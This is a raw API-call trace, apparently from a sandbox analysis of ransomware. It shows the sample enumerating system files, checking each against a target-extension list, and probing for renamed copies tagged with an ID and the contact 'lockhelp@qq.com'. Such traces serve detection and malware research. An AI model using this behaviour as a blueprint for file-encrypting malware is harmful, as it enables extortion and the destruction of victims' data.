[0313.979] GetTickCount () returned 0x2a0ba [0313.979] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.122] GetTickCount () returned 0x2a147 [0314.122] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.229] GetTickCount () returned 0x2a1b4 [0314.229] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.357] GetTickCount () returned 0x2a231 [0314.357] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.497] GetTickCount () returned 0x2a2be [0314.497] GetTickCount () returned 0x2a2be [0314.497] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.605] GetTickCount () returned 0x2a32b [0314.605] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.714] GetTickCount () returned 0x2a399 [0314.714] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.823] GetTickCount () returned 0x2a406 [0314.823] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0314.940] GetTickCount () returned 0x2a473 [0314.940] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.154] GetTickCount () returned 0x2a54e [0315.154] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.261] GetTickCount () returned 0x2a5bc [0315.261] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.370] GetTickCount () returned 0x2a629 [0315.370] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.484] GetTickCount () returned 0x2a696 [0315.484] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.608] GetTickCount () returned 0x2a713 [0315.608] GetTickCount () returned 0x2a713 [0315.608] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.714] GetTickCount () returned 0x2a781 [0315.714] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0315.856] GetTickCount () returned 0x2a80d [0315.856] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.011] GetTickCount () returned 0x2a8aa [0316.011] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.145] GetTickCount () returned 0x2a927 [0316.145] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.275] GetTickCount () returned 0x2a9a4 [0316.275] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.441] GetTickCount () returned 0x2aa4f [0316.441] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.573] GetTickCount () returned 0x2aadc [0316.573] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.686] GetTickCount () returned 0x2ab49 [0316.686] GetTickCount () returned 0x2ab49 [0316.686] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.799] GetTickCount () returned 0x2abb7 [0316.800] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0316.995] GetTickCount () returned 0x2ac82 [0316.995] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0317.104] GetTickCount () returned 0x2acef [0317.104] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0317.375] GetTickCount () returned 0x2adf9 [0317.375] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0317.512] GetTickCount () returned 0x2ae86 [0317.512] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0317.630] GetTickCount () returned 0x2aef3 [0317.630] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0317.795] GetTickCount () returned 0x2af9f [0317.795] GetTickCount () returned 0x2af9f [0317.795] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0317.988] GetTickCount () returned 0x2b05a [0317.988] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0318.280] GetTickCount () returned 0x2b183 [0318.280] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x102 [0318.462] GetTickCount () returned 0x2b22f [0318.462] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x64) returned 0x0 [0318.839] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2abff5c*=0x2f4, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0319.575] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x52be020 | out: hHeap=0x6e0000) returned 1 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bff0 | out: hHeap=0x6e0000) returned 1 [0319.577] lstrlenW (lpString=".gate") returned 5 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cc08 | out: hHeap=0x6e0000) returned 1 [0319.577] lstrlenW (lpString=".[lockhelp@qq.com]") returned 18 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8908 | out: hHeap=0x6e0000) returned 1 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c080 | out: hHeap=0x6e0000) returned 1 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cb60 | out: hHeap=0x6e0000) returned 1 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cb90 | out: hHeap=0x6e0000) returned 1 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cb18 | out: hHeap=0x6e0000) returned 1 [0319.577] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c968 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cba8 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c9b0 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c140 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73ca58 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cae8 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cbd8 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c130 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bf50 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73ca88 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bfb0 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c980 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bfe0 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cbf0 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e5e8 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7f0 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f9f50 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6fc650 | out: hHeap=0x6e0000) returned 1 [0319.578] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74af38 | out: hHeap=0x6e0000) returned 1 [0319.579] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x745058 | out: hHeap=0x6e0000) returned 1 [0319.579] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b2a8 [0319.579] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b2a8, Size=0x20) returned 0x7ddbd8 [0319.579] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b308 [0319.579] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b308, Size=0x20) returned 0x7ddd68 [0319.579] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0319.579] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0319.579] Wow64DisableWow64FsRedirection (in: OldValue=0x2abff7c | out: OldValue=0x2abff7c*=0x1) returned 1 [0319.579] lstrlenW (lpString="kernel32.dll") returned 12 [0319.579] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddd68 | out: hHeap=0x6e0000) returned 1 [0319.579] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0319.579] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddbd8 | out: hHeap=0x6e0000) returned 1 Thread: id = 49 os_tid = 0xea8 Thread: id = 51 os_tid = 0xeb4 [0272.254] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3ee1228 [0272.255] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3ef1230 [0272.256] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740540 [0272.256] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73c060 [0272.256] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740720 [0272.256] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x40b1020 [0272.258] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740558 [0272.258] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740558, Size=0x20) returned 0x71eb60 [0272.258] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740558 [0272.258] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x740558, Size=0x20) returned 0x71ed18 [0272.258] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.258] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.258] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff50 | out: OldValue=0x313ff50*=0x0) returned 1 [0272.258] lstrlenW (lpString="kernel32.dll") returned 12 [0272.259] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.259] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.259] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.259] Sleep (dwMilliseconds=0x64) [0272.484] Sleep (dwMilliseconds=0x64) [0272.669] Sleep (dwMilliseconds=0x64) [0272.986] lstrcmpiW (lpString1=".p7b", lpString2=".gate") returned 1 [0272.986] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0272.986] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0273.239] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4662) returned 1 [0273.239] CloseHandle (hObject=0x338) returned 1 [0273.239] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0273.239] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.239] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.246] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.246] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.246] lstrlenW (lpString=".doc") returned 4 [0273.246] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0273.246] lstrlenW (lpString=".docx") returned 5 [0273.246] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0273.246] lstrlenW (lpString=".pdf") returned 4 [0273.246] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0273.246] lstrlenW (lpString=".xls") returned 4 [0273.246] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0273.246] lstrlenW (lpString=".xlsx") returned 5 [0273.246] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0273.246] lstrlenW (lpString=".ppt") returned 4 [0273.246] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0273.246] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.246] lstrlenW (lpString=".zip") returned 4 [0273.246] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0273.246] lstrlenW (lpString=".rar") returned 4 [0273.247] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0273.247] lstrlenW (lpString=".bz2") returned 4 [0273.247] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0273.247] lstrlenW (lpString=".7z") returned 3 [0273.247] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0273.247] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.247] lstrlenW (lpString=".dbf") returned 4 [0273.247] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0273.247] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.247] lstrlenW (lpString=".1cd") returned 4 [0273.247] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0273.247] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.247] lstrlenW (lpString=".jpg") returned 4 [0273.247] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0273.247] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.247] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.247] lstrlenW (lpString=".doc") returned 4 [0273.247] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0273.247] lstrlenW (lpString=".docx") returned 5 [0273.247] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0273.247] lstrlenW (lpString=".pdf") returned 4 [0273.247] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0273.247] lstrlenW (lpString=".xls") returned 4 [0273.247] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0273.247] lstrlenW (lpString=".xlsx") returned 5 [0273.247] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0273.248] lstrlenW (lpString=".ppt") returned 4 [0273.248] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0273.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.248] lstrlenW (lpString=".zip") returned 4 [0273.248] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0273.248] lstrlenW (lpString=".rar") returned 4 [0273.248] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0273.248] lstrlenW (lpString=".bz2") returned 4 [0273.248] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0273.248] lstrlenW (lpString=".7z") returned 3 [0273.248] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0273.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.248] lstrlenW (lpString=".dbf") returned 4 [0273.248] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0273.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.248] lstrlenW (lpString=".1cd") returned 4 [0273.248] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0273.248] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0273.248] lstrlenW (lpString=".jpg") returned 4 [0273.248] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0273.248] Sleep (dwMilliseconds=0x64) [0273.387] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0273.387] lstrlenW (lpString="Alphabet.xml") returned 12 [0273.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.420] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=791421) returned 1 [0273.420] CloseHandle (hObject=0x3a0) returned 1 [0273.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0273.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.420] lstrlenW (lpString=".doc") returned 4 [0273.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString=".docx") returned 5 [0273.421] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0273.421] lstrlenW (lpString=".pdf") returned 4 [0273.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString=".xls") returned 4 [0273.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString=".xlsx") returned 5 [0273.421] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0273.421] lstrlenW (lpString=".ppt") returned 4 [0273.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.421] lstrlenW (lpString=".zip") returned 4 [0273.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0273.421] lstrlenW (lpString=".rar") returned 4 [0273.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString=".bz2") returned 4 [0273.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString=".7z") returned 3 [0273.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0273.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.421] lstrlenW (lpString=".dbf") returned 4 [0273.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.421] lstrlenW (lpString=".1cd") returned 4 [0273.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.421] lstrlenW (lpString=".jpg") returned 4 [0273.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.421] lstrlenW (lpString=".doc") returned 4 [0273.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0273.421] lstrlenW (lpString=".docx") returned 5 [0273.421] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0273.421] lstrlenW (lpString=".pdf") returned 4 [0273.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString=".xls") returned 4 [0273.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString=".xlsx") returned 5 [0273.422] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0273.422] lstrlenW (lpString=".ppt") returned 4 [0273.422] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.422] lstrlenW (lpString=".zip") returned 4 [0273.422] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0273.422] lstrlenW (lpString=".rar") returned 4 [0273.422] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString=".bz2") returned 4 [0273.422] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString=".7z") returned 3 [0273.422] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0273.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.422] lstrlenW (lpString=".dbf") returned 4 [0273.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.422] lstrlenW (lpString=".1cd") returned 4 [0273.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0273.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0273.422] lstrlenW (lpString=".jpg") returned 4 [0273.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0273.422] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0273.422] lstrlenW (lpString="boxed-split.avi") returned 15 [0273.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.055] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=84190) returned 1 [0274.055] CloseHandle (hObject=0x390) returned 1 [0274.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0274.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0274.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.471] lstrlenW (lpString=".doc") returned 4 [0274.471] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString=".docx") returned 5 [0274.471] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0274.471] lstrlenW (lpString=".pdf") returned 4 [0274.471] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString=".xls") returned 4 [0274.471] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString=".xlsx") returned 5 [0274.471] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0274.471] lstrlenW (lpString=".ppt") returned 4 [0274.471] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.471] lstrlenW (lpString=".zip") returned 4 [0274.471] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString=".rar") returned 4 [0274.471] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString=".bz2") returned 4 [0274.471] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString=".7z") returned 3 [0274.471] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.471] lstrlenW (lpString=".dbf") returned 4 [0274.471] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.471] lstrlenW (lpString=".1cd") returned 4 [0274.471] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0274.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.471] lstrlenW (lpString=".jpg") returned 4 [0274.472] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.472] lstrlenW (lpString=".doc") returned 4 [0274.472] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString=".docx") returned 5 [0274.472] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0274.472] lstrlenW (lpString=".pdf") returned 4 [0274.472] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString=".xls") returned 4 [0274.472] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString=".xlsx") returned 5 [0274.472] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0274.472] lstrlenW (lpString=".ppt") returned 4 [0274.472] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0274.472] lstrlenW (lpString=".zip") returned 4 [0274.472] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString=".rar") returned 4 [0274.472] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0274.472] lstrlenW (lpString=".bz2") returned 4 [0274.472] 